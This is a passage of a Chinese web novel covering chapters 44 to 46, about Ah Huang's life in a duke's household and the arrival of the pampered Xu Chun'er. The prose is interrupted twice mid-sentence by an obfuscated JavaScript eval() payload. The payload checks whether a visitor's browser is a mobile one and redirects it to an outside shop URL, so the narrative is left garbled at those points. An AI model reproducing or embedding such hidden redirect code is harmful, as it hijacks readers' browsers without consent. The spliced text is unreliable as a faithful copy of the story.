原本爹娘也指望着阿凰靠美貌嫁个好人家,有意培养她,她也很争气,学什么会什么,努力朝着一个大家闺秀的方向成长,可有一日她患病,因家中清贫,她没能及时得到医治,导致脸上生疮留下疤痕。 爹娘的美梦破碎了,甚至指责阿凰浪费粮食,在她战战兢兢等着自己被敢出门的日子,爹娘乐呵呵地把她送进国公府陪老太太,最后一句话是告诉她要争气。 她也确实做到了让老太太记住自己,又或者是老太太本就喜欢晚辈,她的待遇还不错。 听到外边来了人,阿凰回过神起身。 是老太太的贴身大丫鬟,真儿,阿凰把人请进屋入座,唤自己房里的丫鬟过来看茶,可连唤了两声都不见回应,最后是另一个丫鬟来招待的。 国公府家大业大,府上的下人就有一千多人,人多口杂,阿凰不想落人口舌,对任何人都秉持心平气和的态度,真儿作为老太太房里的大丫鬟,名为下人实则地位很高,阿凰不敢怠慢。 真儿却不在意,只说不必忙活。 也不完全是客气话,在府中不少人眼里,包括真儿心中,在这个连下人都互相算计的地方,阿凰却是一个高洁淡然之人,不以物喜不以己悲,虽存在感低,但不惹事,平等对待一切,大家都很认同她的人品。 “是老太太又头疼了吗?”阿凰问。 因着她极出彩的音律天赋,连老太太也爱听她抚琴,抚平心绪治疗头痛有奇效,是以,每当老太太患头风时下人都会过来叫她。 真儿摇摇头:“是纯姑娘来了,老太太让大伙都过去。” 纯姑娘?阿凰在此之前也只是略有耳闻,这个纯姑娘是侯府千金,作为侯府嫡女,受尽宠爱,说是含着金汤匙长大的也不为过。 来不及多想,阿凰跟着真儿出了门,由于她的贴身丫鬟不知道哪儿去了,现在是另一个丫鬟跟着她走,每一个千金小姐都是有下人寸步不离跟着伺候的,国公府这样的家世,公子千金身后更要有几个下人随从,否则是失了体面。 院子里挤了不少人,有许多是听说纯姑娘来了,便过来亲自看一眼,尤其是女孩们,她们非要亲眼一见,这个名动京城的侯府嫡女,让众多名门贵子念念不忘的女子,究竟长什么样子? 连国公府最受宠的嫡长子,老太太极度偏爱的长孙,这么一个人中龙凤都对她明晃晃地示好。 要知道,之前大公子可是不近女色的,同龄人通房都找了一堆,他却只知研究诗文,可是在认识了纯姑娘之后,他便频繁出府游玩,谁不知道他就是为了见纯姑娘? 一路上阿凰听到旁人在议论,对这位纯姑娘更是多了几分好奇,直到来到接待客人的大堂里,她老老实实站在老太太身后,看到这么多人都出来迎接,打杂干粗活的丫鬟也停下来围观,就连独孤凤渊也在,一分不动地注视着那边,好像很是期待某个人的出现。 她便知道,这个纯姑娘一定很重要。 没等太久,二夫人就领着一群人进来了,跟在身后的是一母一女,那母亲作贵妇人打扮,那女孩身着藕色衣衫,虽面容平凡,可通身的装扮精致贵重,一打眼就知道是名门千金小姐。 侯府母女从自家领了一些下人,浩浩荡荡地来了,让旁人看去还以为皇亲国戚亲自降临呢。 两边的长辈先彼此寒暄,然后轮到许纯儿,俏皮地行了一礼,头上的金玉步摇也跟着晃动:“纯儿见过老太太!老太太身体安康,寿比南山。” 老太太乐呵呵地应下,与许姨妈说着客套话,小辈们蜂拥而上,将许纯儿围起来,姐姐来妹妹去,好不热闹。 “好妹妹,可把你盼来了,大家都很想见你一面呢。”独孤槿细细打量着许纯儿,友好轻笑着。 作为二夫人的女儿,她本就为人热诚,老太太也喜欢,加上为正室所出,自有一些话语权,相较于别的妾室子女地位已经不错了,也算是歹竹出好笋。 由于阿凰颇受她照应,两人时常往来,谈谈心说说小话,兴趣相同,早已是形同姐妹。 “好姐姐!我也早就想见见大家了。”许纯儿以同样的态度回应着。 与主家的几个孩子周旋完,她这才看向阿凰,独孤槿见状介绍起来:“这是你阿凰姐姐,二夫人家的侄女,比你先来了两年,你估计不认得。” “阿凰姐姐。”许纯儿颔首示意,“我认得的,我已经听说过阿凰姐姐了,早就知道府上有这么一位琴棋书画样样精通的女孩儿,羡慕得紧,早就想亲眼见识一下了。” 不知何时她竟被传成了琴棋书画样样精通的人,阿凰有点心虚,她一直不觉得自己多么精通这些,最擅长的音律之学也只是正好发挥了作用,书画只是作为消遣罢了,更遑论下棋,也只是略懂皮毛。 当下便实诚道:“不敢当不敢当,我也只是因为老太太喜欢,才有机会班门弄斧罢了,倒是纯儿妹妹人甜嘴甜,大家可一直盼着你来,今日一见果然跟个蜜罐似的。” 既抬高追捧了对方,又谦虚回应被夸赞的内容,免得树大招风,和气待人,不过多出风头,不志得意满,是阿凰孤身一人在外的求生之道。 许纯儿咯咯笑起来,笑声跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17331906|196080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 铃铛似的响。 “纯儿妹妹舟车劳顿,一路辛苦了,可有水土不服?” 柔和的声音钻入耳中,阿凰也不自觉被吸引了去,撞上那双柔情似水的眸子,却不是看着她的。 此时的他眼里似乎看不见别的,自动屏蔽了周围的一切,眼里仿佛只能看得到那个巧笑嫣然,圆滑地应付着周围人追捧的女孩。 在国公府两年,她还从未见过这个样子的独孤凤渊。 真是陌生,明明那么熟悉的人,怎么在不同的人面前两幅面孔呢?旁人就那么不值得他多看一眼吗? 嘴里发苦,心口也像被什么揪住了似的,阿凰闷得有点喘不过气。 “多谢大哥哥关心,路途遥远,虽偶感不适,可是一落地,来到了国公府,见到大家这么关心着我,一切苦闷都抛之脑后了,至于水土不服,那就更不会了,都说国公府风水养人,如今一来,果真觉得神清气爽。”许纯儿回应道,声音似乎更甜了一些,仿佛能熬出蜜来。 独孤凤渊颔首,眉眼间都是笑意:“那就好,希望你不要见外,把这里当成自己家就是,一切事务都可和我交代。” 许纯儿郑重其事点了点头,笑着注视他:“既然有大哥哥担保,那我以后就不客气啦!” “真是一张巧嘴,声音已经跟蜜糖一样了,说话还这么中听,怪不得都盼着你。”独孤槿逗趣道。 众人很快就围绕着许纯儿嘻笑,明明只是头一次见面,却像多年不见的亲朋好友,阿凰跟在一边赔笑,可是只有她自己知道,她脸上的肌肉快酸了,她不敢想象自己现在的表情有多僵硬。 老太太位于上座,乐呵呵看着下面的人,与众人有来有回地说着话,作为国公府地位最高也是最年长的人,每一个人都以她为中心,说的话首先肯定要考虑她。 真儿跟在老太太身边伺候,看着这一切,每个人的微表情尽收眼底,但也只是维持着笑容。 老太太抿了一口茶,真儿自觉接走茶杯,老太太便盘算起如何安排来客,作为国公府仅存的最年长之人,活了几十年,老太太也早已跟个人精似的。 这对母女来得突然,不知来意,不知道要住多久,人家声势浩大地来了,安排得差了肯定是不行的,显得国公府小家子气,可要安排得太好一时半会也忙不过来。 况且是她们没打招呼不请自来,失了礼数在先,若都以最高规格招待,以后的远房亲戚都这样登门拜访,哪还有规矩可言。 “近日屋子有些是重新打理的,还有些年久了没人住,少了人气,你们年轻人住着也不好,我看还有藕花舍适合住人,就先委屈你们母女俩住着。”老太太道。 许姨妈赔笑道:“哪里的话,贸然来访是我们失敬了才是,劳烦老太太费心了。” 大夫人亲自带着母女俩去了住处,老太太吩咐晚饭到她这边一起吃,暂且各自散了。 进了藕花舍,身后的两个丫鬟先不满起来,弥秋眼睛乱转打量周围,说:“这藕花舍也不像什么新的地方,住得这么偏远,就安排客人住这里,老太太不会是对我们不满吧?” 许纯儿瞪她一眼:“不可胡言乱语。” 见她低下头去,许纯儿转身看着身后跟随的一众仆从,警告道:“你们都记住了,今后在国公府可不像在侯府,都谨言慎行,若被人挑了错处,我可不护着谁。” 44. 龃龉 出了院子,回去路上阿凰看到自己那贴身丫鬟就在一群丫鬟之中呢,刚站住脚步准备喊她,身后的丫鬟巧翠就先开口:“岑姐姐,你在这儿干什么呢?” 人群里的徐子岑一个激灵,低着头小跑过来。 “这一整天你都到哪儿去了?”阿凰看着她的头顶,发髻间插了一支橘子发簪。 作为国公府的一等丫鬟,她们的待遇甚至比外边小户人家的小姐还好,所以很多进了国公府伺候主子的丫鬟混得好了,即便有机会离开也不愿意走。 这徐子岑本是老太太房里的,阿凰来后被分配过来伺候她,一开始还不乐意呢,相处一段时间发现她确实不是难伺候的,也就习惯了轻松的日子,平日里她也不愿意过多约束着这些下人,毕竟她们也不容易。 虽然阿凰秉持心平气和,井水不犯河水的态度,但也不是软包子,这国公府个个都跟人精似的,连下人之间也在勾心斗角,她真要太过好说话就要被欺负了。 出门在外,只有自己能保护自己,该硬气的时候还是得硬气,有的人对她太好她以为你好欺负。 “阿凰姑娘,我、我忙忘了,你有什么吩咐吗?”徐子岑的声音听起来都心虚。 她原本是跟着真儿伺候老太太的,虽都为一等丫鬟,但在老太太身边显然是整个国公府最好的待遇和地位,即便她争不过真儿,只要熬下去,混成老人的地位自不用多说,更别提在老太太身边,以后的出路都明亮许多。 把老太太伺候好了,亲事都有她老人家指派,甚至可能被抬为姨娘当上半个主子呢。 所以她被分过来,伺候阿凰这么一个远房落魄亲戚家的孩子,只能勉强算半个小姐,阿凰知道她心里有落差,不服气。 “没什么事就不能叫你吗?”阿凰轻声说,却让徐子岑更紧张了。 “我只是想提醒一下,最近府上来了客人,一切都得上心些,串门的时候可别冲撞了贵客。” 看徐子岑的动向,显然是要和那群小丫头去藕花舍那边凑热闹的,阿凰自然知道她心里在想什么。 说罢继续走回兰心院,徐子岑自觉跟着巧翠走在后头。 “那个姑娘真美啊,往那儿一站跟个仙女似的,我就没见过这么漂亮的女子。” “是啊,就是脸色太冷了些,看着不好接近,可这就是她独特的气质吧,又冷又纯净,跟块冰一样,周围的气儿都干净了。” 听到有两个丫鬟在窃窃私语,阿凰原本在想今天的事,也转移了注意力,脚步一停。 “要是不说我还以为她才是侯府嫡女呢,那身段美的,总算知道什么是仙子绝尘了,谁想到她居然只是纯儿姑娘带过来的丫鬟,看到她站在后头我还奇怪呢,谁家千金会客躲在下人后头……” 另一个丫鬟立刻捂住她的嘴:“你可小心点吧,竟敢说纯儿姑娘是下人,她那一身装扮那么贵重,哪儿是我们能高攀的。” 直到被放开了,那丫鬟才压低声音说:“我心里想想还不行吗?要不是那一身金贵的打扮,她那么普通的长相,我们府里的丫鬟长得都比她好看,虽不说雍容华贵,也是小家碧玉,她跟哪个沾上边?加上有个那么美的仙女衬托,谁都会认错吧?我敢肯定不止我一个人这么想。” 另一个丫鬟说不出话。 “再说了,什么高攀啊,分明就是她们高攀国公府,那阵仗恨不得全家投奔来了,你以为只是过来做客这么简单?敢不敢打赌,只要老太太不开口赶人,她们一定会赖着不走。” 其实名门望族之间偶有往来是很常见的,人员都是互通的,贵族之间的利益往来,作为伺候的下人多多少少也会看出来。 “这个年纪的女子,快到了齐笄之年,正是待嫁的年纪,家中还好好的,锦衣玉食不愁吃不愁穿,又不是无依无靠要投靠别人,却搬到别人家里住,心里在打什么算盘真难猜啊。” 身后的巧翠凑上来问:“姑娘,要不要捉她们打嘴?” 毕竟偷偷议论主子,还被另一个主子逮到了,可是要掌嘴的,虽然在府上这帮下人气焰嚣张久了,早就没什么规矩了。 原本该是徐子岑和阿凰沟通,但是今天她自知有愧,一直闭嘴跟着,巧翠这才有机会表现自己。 “管教她们是她们主子的事,轮不到我越过她们主子去教她们说话做事。” 这叫多管闲事,落不着好处不说,还容易遭人记恨。 那两个丫鬟没说太久就溜了,阿凰也继续走,走着走着,徐子岑似乎是想缓和气氛,想表示自己的存在,免得彻底被冷落了,便说:“我听说纯儿姑娘小时候长得可水灵了,长着长着就变成了普通人长相,这就是女大十八变吧?” “你了解得还挺多嘛。”阿凰淡淡说。 她立刻住嘴了。 不过说来也奇怪。许纯儿这么一个风云人物,一出场就是焦点,众星捧月,一众人迎接,在见到她之前阿凰就听说过不少她的事,听说她小时候生得确实水灵,一看就是个美人坯子,大家都在期待她长大后得是何等的倾国倾城,可另所有人都意外的是,她越长越普通了。 虽说女大十八变,但这变化也太大了,小时候那么水灵,说明底子不错,就算变了也不会差到哪儿去,怎么会长大后就泯然众人了?甚至可以说是长残了。 也因此,不少人都在怀疑许纯儿是不是捡来的,甚至说是不是私生子,她爹娘和哥哥都长得很好,她长大后一点也找不出和家人相似的样子。 毕竟几个家族里大家的长相多多少少都会继承父母,就算不是大美人也不会太差。 听说侯府嫡女两岁时,中秋时节和管家出门游玩不慎走丢,幸好被找回来了。因为这个经历,衍生出一个荒谬的传言,说真的嫡女那时候就失踪了,现在这个是冒名顶替的。 平日里跟在老太太身边伺候,阿凰被迫听说了不少事,也有人为了巴结她主动说些秘密。 国公府人多嘴杂,有时候不用主动打听都能听说一些事。 “方才她们说的那个女子,叫什么名字?”一时兴起,阿凰问道。 徐子岑主动回复:“叫山水侗,确实长得十分清尘脱俗。” 这话不假,阿凰也觉得山水侗是自己见过最美的女子,连名字也带着诗意,众人在大堂会面时,阿凰也一眼就看到了跟在许纯儿身后的她,虽微微低着头,不言语,却令人很难忽视她的存在。 果然在真正的大美人面前,一切虚头巴脑都是没用的,哪怕荆钗布衣,只是一动不动,别人都会被吸引。 一个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17337061|196080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的涵养和气质是藏不住的,阿凰一眼就看出来山水侗不是寻常人家出来的女孩。 大户人家的下人是从各个地方来的,所以阿凰猜测,山水侗或许曾经也是一个千金小姐,只是遭遇了什么,才沦为奴仆。 她对这个女子感兴趣,打算有机会便和她见见。 距离晚宴开始还有些时辰,这时候阿凰肚子里有点空,加上她身子骨弱,来了国公府,有老太太关照,就有了养身子的条件,每日汤药是不少的。 便吩咐徐子岑道:“岑儿,去厨房看看我的汤好了没有。” 也算是给她和台阶下了,缓解一下尴尬的气氛。 徐子岑得了令便向厨房而去,因着有贵客拜访,厨房这边天还没亮就开始准备晚宴,还没走近就听到这边吵闹的声音,夹杂着碗碟碰撞的声音,炊烟萦绕在屋子上方,一派嘈杂热闹的景象。 掀开门帘,主管正在带头忙活,一面干活一面监管众人,见了徐子岑进来,迎上来道:“岑儿姑娘来了,有什么事?” “我是来问问阿凰姑娘的汤。” “已经备好了,每日都给阿凰姑娘准备着呢。”主管亲自拿了过来。 接过食盒,徐子岑往外走,刚出门就迎面碰上一个丫鬟,打扮得花枝招展,虽有些面生,她却有印象,这是许纯儿带过来的贴身丫鬟,名叫弥秋。 她主动与弥秋点头示意,对方却像没看到她似的,脑袋昂得老高,直接越过她进去了。 她不由得停下来,转身看去。 主管在厨房忙了一天,没机会见到新来的客人,自然不认得弥秋,但见她来头不小,也就保持礼数问候:“姑娘有何吩咐?” “我是纯儿姑娘的贴身丫鬟,弥秋。”弥秋昂首挺立,先介绍起自己,表明身份,“我家姑娘远道而来,累了一天,肚子都空了,你们快做些点心给姑娘填填肚子,要现做的,热乎的,别给我拿放久了的东西打发人。” 末了,她又补一句:“再做两碗鸡蛋羹,要嫩嫩的哈。” 主管一时有点为难,整个厨房都在忙晚宴的事,除非提前准备,否则此时是空不出手现做吃的,弥秋这一来就有点为难人了。 再加上她拿鼻孔看人的态度,都是下人,她却一副高人一等的模样,谁受得了?做客的反倒在主家指手画脚,哪来的道理?不免让旁人怀疑起许纯儿这个做主子的来,怎么管教下人的? 见主管迟疑,弥秋不满:“怎么了?这是什么很难的事?这不是你们厨房应该做的事吗?别磨蹭了,我家姑娘何等的金枝玉叶,在侯府都没吃过苦,你们可别想着给我们下马威,我还真不吃这一套,等会儿我再过来拿,若耽搁了,我可不留情面。” 说罢扬长而去,留一众厨娘面面相觑。 “有什么好神气的,不就是跟了个好主子,真当自己也是半个主子了?”有人不服气道。 “就是,梅香拜把子,都是奴儿,这才刚来,就已经这么神气了,日后还了得?” “可见她主子平日里也是不约束下人的,牛气成什么样了,也不怕事大,这才刚进府,就拿出当家夫人的架子来了,以后我们还有好日子过吗?” 听了好一会儿,徐子岑提着食盒离开,脚步不自觉放慢了些,若有所思。 45. 安排 晚宴时,下人们鱼贯而入,一个接一个端上来各式各样的山珍海味,国公府好像恨不得把府上的一切珍宝都拿出来招待许纯儿母女。 阿凰看得都有点眼花缭乱的,也明白这是国公府展示财力的环节,这些个名门望族最喜欢低调中显摆了,为了面子银子花得跟流水似的。 只有向外人昭示实力,才能结交更多有权有势的势力,一旦踏入这个圈子,哪怕后来没钱了也要强撑着维持表面上的光彩,这就是这个圈子的生存之道。 红楼梦后期的贾府可不就是这种情况。 想起来,她刚进府的时候冷清清的,被二夫人领到老太太跟前看了一眼,就随意安排在二小姐院里了。 要不是她自己争气,成功在老太太面前刷脸,还发挥了自己的长处,让老太太喜欢,估计现在过得还很凄惨。 二小姐虽是个怪脾气,但阿凰没有被她欺负打压过,只是得了好处的时候,阿凰想着寄人篱下,分给她一些,她并不领情。 比如此时,阿凰跟二小姐坐在不起眼的位置,老太太位于上座,让最疼爱的长孙独孤凤渊坐在她身侧,另一侧是大夫人,也就是独孤凤渊的生母。 按理说,应该是大夫人和二夫人一左一右坐在老太太身侧伺候的,可老太太对独孤凤渊的疼爱有目共睹,也无人敢不满,敢用规矩去约束老人家,便默认了这个入座顺序。 其实阿凰原以为,按照许纯儿的受欢迎程度,加上老太太本就喜欢晚辈和睦的景象,许纯儿会跟独孤凤渊一样坐在老太太身侧,可是并没有。 也许,老太太并不像表面上那么直接这对母女?不愧是国公府最年长的人,真是看不懂。 虽然独孤凤渊已是二八年华,老太太却还将他当孩童一样看待,一个劲叫他吃好吃的菜品,在饭桌上说悄悄话,活像个老顽童。 阿凰低着头默默吃饭,努力当个老实人就好了。 “此道菜品名为金针玉露,为宫廷菜肴,这玉露,选用了上百种名贵香料,用天山冰泉水熬制的高汤,至于金针,是仙琼山修仙者精心培育了一种吃灵丹妙药,吸收天地灵气长大的锦鸡,选取锦鸡身上最嫩的肉,伴最新鲜的金笋,乃制成这道不多得的稀世美味。”独孤凤渊介绍起面前的菜肴。 接着,他一面示意身边伺候的真儿夹菜,一面继续道:“食之令人耳清目明,满面红光,是为吉祥之兆,国公府有幸得圣上御赐,今日拿来招待来客,与各位共赏珍品。” 他看着许纯儿,笑道:“我听闻纯儿妹妹身子不好,务必多吃一些,有益于身体。” 许纯儿看起来感激不已,起身行礼一一感谢长辈,说着圆滑世故的场面话,令众人很是满意。 这么一道菜,一桌子人每个人都分到一口,由于独孤凤渊的特殊关照,许纯儿得到的最多,旁人都看在眼里,但笑不语。 阿凰死死低着头,努力装作不去关注,不在意,可是越逼自己不在意就越在意,好像被饭卡在喉咙里一样闷。 她尝了一口金针玉露,觉得确实美味,也不枉费那么费劲做出来这道菜,可心里的苦闷却一点不少。 暼到一边的二小姐独孤双儿,阿凰竟看到她低头冷笑了一下。 饭后天彻底黑了,老太太留众人说些茶余饭后的闲话,吃了些果子消消食,独孤双儿早已找理由先离开了。 直到散会,阿凰领着两个丫鬟回兰心院,巧翠提灯照亮去路,徐子岑跟在身侧以防小姐有磕碰。 暼了一眼,徐子岑有些出神,阿凰更确定自己的想法了。一整晚的宴席,这丫头频频看着许纯儿那边,心思一点也不知道掩藏。 哎,若是换作别的主子,自己大丫鬟吃着碗里看着锅里,早就责罚了。 踏入兰心院,正房那边是独孤双儿住的,还亮着灯,依稀可见女子的身影倚靠在窗边,不知在出神想什么。 都是看人眼色过日子的,其实阿凰有时候也能明白独孤双儿的想法,上有长子独孤凤渊最为受宠,下有二夫人女儿独孤槿,虽不温不热,也是正室所出,不会不受待见。 而她独孤双儿乃妾室女儿,名为二小姐,实则没什么存在感,老太太似乎也不太记起她,不上不下的,处境很是尴尬,再加上有一个喜欢惹是生非的姨娘生母,更不受待见了。 更别提现如今还来了个侯府嫡女,一来到国公府就万众瞩目,受人喜爱。 不知为何,看着那个女孩孤独的身影,阿凰有点感同身受,走了过去。 见到来人,独孤双儿只是懒懒地抬眸看了一眼,脸上的不高兴毫无掩藏。 在兰心院同住了两年,她一直是这样的,从来不屑于伪装自己,高兴就笑不高兴就冷着脸,好像从来不在乎别人的看法,这样的人,容易得罪人,可阿凰很敬佩这种勇气,她羡慕,可是自己做不到不管旁人的眼光。 “夜深了,有些凉,二小姐早些回屋吧,莫受了凉病着了。”阿凰说。 独孤双儿一双眼睛直直看着她:“你过来就是为了和我说这个?” 她点点头,早已习惯这个脾气古怪的二小姐。 “我知道你心里想的不是这个。”独孤双儿冷笑一声,不再看阿凰,“我原以为你和他们不同,没想到你也要开始学了那套令人恶心的虚伪做作。” “想来也是,在这个吃人不吐骨头的地方,只有迎合他们才能好好生存,现在又来了个更虚伪世故的高手,走吧,加入他们的热闹,与他们虚与委蛇吧,这地方这么寒酸,还呆在这里干什么?” 虽然她说话不中听,甚至像一根刺扎在阿凰心中,可阿凰却无法反驳,真话往往就是那么伤人的。 她走了,带着一头雾水的徐子岑和巧翠转身而去,独孤双儿的声音从身后传来,声音不高,她却听得一清二楚。 “晚宴上,你明明心里也很难受。” …… 这日,老太太又派了真儿过来,两人同去万福堂。 看真儿欲言又止,阿凰主动问:“怎么了?” 她这才说:“纯儿姑娘和大公子他们同游去了,我原以为姑娘你也不在呢,方才老太太让我来找你,我还道姑娘不一定在,老太太却说,姑娘不爱凑那热闹,定然还在兰心院里,看来还是老太太最了解姑娘。” 阿凰转移视线,看着前方的路走着,装作不在意道:“藕花舍有一道门直通外边的街道,真是方便啊。” “姑娘若闷了,和老太太说一声,出门散散心也好。”真儿说。 她摇摇头,笑了笑,没说什么。 自己出去玩和待在家里又有什么区分呢。 到了万福堂,屋子里飘着淡淡的熏香,老太太倚在塌上,另有个丫鬟轻轻为她揉额头。 听到动静,老太太睁眼望过来,原本愁眉不展也放松了些:“阿凰,你可来了,我这头痛真是离不了你。” “只要老太太还有一日不舒服,还需要我,我就一直伺候您。”阿凰说。 她坐好开始抚琴,老太太欣慰笑着看她,一曲弹奏完毕,老太太脸色也好多了。 “说来也怪,都是抚琴,怎么别人弹琴我只觉烦躁,你这孩子却每次都能令我安心?” 阿凰自己也奇怪,自己的琴声怎么还有这种能力? “也许阿凰姑娘小时候跟着哪位仙人学了仙术呢?”真儿调笑道,“又或者上辈子姑娘是老 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老人家传授经验,阿凰心中感动,点头道:“老太太的话我都记住了。” “我只怕你太老实了,以后被人欺负,我也不能一直看着你,若在我看不见的地方,你被人欺负了去,叫我如何安心?”老太太怜爱地看着阿凰,长了褶皱的手轻抚她面庞,像疼爱自己孩子一般。 阿凰鼻子也有点酸涩,说:“老太太对我视如己出,我已经很满足了。” 老太太又是无奈叹气,一旁的真儿建议道:“若老太太不放心,何不让阿凰姑娘过来身边伺候您?正好您时常头痛,只有姑娘能应付这怪病,发作了也能及时照应。” 一开始是阿凰不受重视,被安排去兰心院,可后来她自己争气,得了老太太喜欢,却迟迟没被安排新住处,旁人也猜不准老太太的想法。 现如今,看时机合适,真儿便试探性提出来,毕竟这事由阿凰主动说不合适,若老太太正好也有这个想法最好不过,由真儿之口抛砖引玉了,若没有,就当做下人会错意说错了话,也不伤主子颜面。 老太太点点头:“是该如此,一家子住得近正好方便走动,合适的屋子还需要收拾一下,你就先过来我这儿,外边的清凉斋可以先住着,等暖玉阁收拾好就可以搬进去了。” 清凉斋是老太太独处清净的地方,也能做避暑之用,暖玉阁是另一个单独的住所,都是在万福堂里。 其实兰心院也不是很破的地方,就是冷清了点,又是个很老的地方了,难免看起来没别的院子体面,府中的人都是拜高踩低的,一看住在这地方,自然在心中有点看不起。 “是,全听老太太安排。”阿凰说,“只是,我与二小姐相伴两年,也有了些感情,一时分开还有些不舍,不知可否让二小姐与我同住?” 老太太笑道:“你这孩子就会惦记着别人呢,好,就依你的。” 待阿凰走后,真儿问:“既然老太太的头痛离不开阿凰姑娘,为何不早日让她搬过来呢?” 望着某处出神沉默了会儿,老太太松了一口气,道:“这孩子是外房的,若与自家小姐同等待遇只怕别人心里不痛快,而且,她会在府中住许久,孩子们都大了,男女有别,往来有些许不便,不过……” 现如今,又来了个外房的女孩,不请自来,也不知要住多久。 或许在别人眼中,许纯儿世故圆滑打磨得很完美,不过在老太太这样千帆过尽的人精眼里,一眼就看出来她的心思。 上了年纪的老人,看不惯这样玩弄心计之人,分明还是个孩子,却早早沾染了一身世俗之气,殊不知,知世故而不世故才是最合适的。 46. 心思 才过去半个月,许纯儿就几乎与府上所有人打好交道,阿凰实在佩服这样的人,如此充沛的精力,应付这么多人很忙吧。 由于阿凰和老太太住一个地方,见到许纯儿的次数也变多了起来,不知是不是错觉,有时候她发现许纯儿来找她并不是真的想和她玩,而是想接触老太太,同样的,老太太会借口打发过去,转头又把阿凰叫过去坐坐。 老太太脸上带着高深莫测的笑意:“你实在不想见她,又不好意思拒绝,今后就多来我屋里待着,她找不到你,自然也没理由一个人过来打搅我。” 阿凰应下,同时心里也很疑惑,老太太为何如此不待见许纯儿?这个年纪的老人,人情世故信手拈来,老太太也是个体面人,竟也这样,她还是头一次见到老太太这么明显的不喜欢一个人。 她对许纯儿倒没什么想法,反而敬佩这个人有如此广结好友的能力,不夸张地说,尤其是男子,几乎是所有男子都喜欢她,只是阿凰自己习惯了带着一些防备心,不会轻易与一个人深交,此时对于她的印象还不多。 同样的还有独孤双儿,也是很不待见许纯儿,每次见面一点面子也不给她,一两次之后,私底下许纯儿会带着假笑回讽她。 阿凰第一次撞见的时候有点惊讶。 意识里的夜月姬也很疑惑。 在镜中世界,她依然说不了话,无法和阿凰沟通。 好在这个幻境里的阿凰过得比上一次好多了,小苦瓜终于过上了好日子,好歹也是个小姐呢,虽然依旧是暗恋山猪的命运。 阿凰的心境,住在她意识里的夜月姬感受到是最清晰的,她的纠结与压抑,复杂的情感时常也会让她跟着难受。 很难想象,阿凰究竟对独孤凤渊有多么深刻的执念,才让她如此念念不忘,在每一个世界都会毫不犹豫地爱上他。 看着这些十几岁的少女,夜月姬若有所思。 顾纯儿变成了许纯儿,难道这个世界里,许萧然成了她亲哥? 想起这个人变脸比翻书还快的态度,夜月姬只想冷笑,真是势利眼,见风使舵啊,凡尘十二镜第一镜,他也是那个性格,还真是不出所料,不知道第二镜,他又会做出什么样的事? 至于这个独孤双儿……由于阿凰记忆里没有这个人,夜月姬自然也不认识她,不过,看着这张脸,很是熟悉啊…… 再加上名字格式,夜月姬大胆猜想了一下,对应现实世界中的人,该不会,和顾纯儿有关吧?该不会……是她妹妹? 顾纯儿是头胎,夜月姬十分清楚。 有意思,亲妹妹变成了别人妹妹,还这么讨厌亲姐姐,撕起来,撕得再响些。 养父母家那边,阿凰还有个舅表哥,名为正枫,是个老实巴交的人,在她来到国公府后,过来看望她两次,只能来两次是因为路途遥远,且外男不便多往来。 这日正枫带了些土特产来,和阿凰在会客厅闲谈,没有留太久就要赶路回去了,阿凰让他吃过饭再走,他也婉拒了。 她知道正枫的顾虑,考虑到他们都是尚未婚配的男女,怕过多往来影响了她的名声,也知道正枫确实是真心实意挂念着她,才会不辞辛劳特意来国公府探望,看到她过得好,正枫是真心欣慰高兴的。 和之前一样,阿凰把自己的月钱包好,让正枫帮忙带回去补贴家里,也给了他一些好处,可是他死活不肯接受,便也只能作罢。 “你自己在外头也不容易,国公府花销大,你也给自己存点钱,多照顾自己,为自己着想,我们一切都好着呢。”正枫并不知道阿凰家里那些事,只当她是太孝顺了,来了国公府这么久,还记着时常往家里捎钱。 这是别人家里的事,他也不好过问,总不能不让她给家里寄钱吧?就是觉得她自己也不容易,还要养着家里,实在有些心酸。 说罢,正枫竟拿出一个沉甸甸的荷包:“全府上下多有打点,日常开销也要不少钱吧?我这点心意不算多,只能帮衬一点是一点。” 阿凰推辞道:“哪里的话!我在这里一切都好,怎么反过来还要舅表哥帮衬?也太不像话了,说出去不怕人笑话,舅表哥快收回去吧。” 推辞几番,正枫这才肯作罢,到了离别时,阿凰亲自送他出去,碰到了正好过来万福堂的许纯儿。 也不知这会儿老太太在不在,看许纯儿身后的丫鬟手里还拿了东西,是来孝敬老人家的吧? 收回目光时,阿凰看到正枫也在看着许纯儿,眸中的惊艳,和他肢体上的呆滞一时形成了一种滑稽的老实感。 老实人的心思真的很好猜啊。 “咳咳……”阿凰清了清嗓子,正枫这才恍然回神,神色窘迫闪躲,不敢看她了。 自从上一次过节,正枫帮忙在两家之间跑腿道贺,正好碰见了许纯儿,她歪头一笑,声音甜甜的道了声“正枫哥哥好”,他就念念不忘了。 一点也藏不住事,那会儿阿凰就看出来了。 一路上正枫都有点魂不守舍,把他送走后,阿凰回到暖玉阁,看着那些土特产,想着带一些过去给老太太,正好提一嘴亲戚来做客,帮忙问声好。 让巧翠过去老太太屋里看一眼,确定许纯儿不在,听说又吃了闭门羹,被老太太以在休息为由,让真儿打发走了。 阿凰便亲自带着土特产过去,真儿在门外见了她过来,迎着她进了屋。 祖孙俩相处半晌,老太太说:“要是想家了,就回去一趟,或者下次你舅表哥来了一起回去,想出去玩就去吧,整天陪着我这老人家也闷得慌。” 平日里除了陪老太太,阿凰就在自己屋练练字,弹弹琴,再画点画,再没别的事了,倒也不觉得无聊,有时候一天就这么过去了。 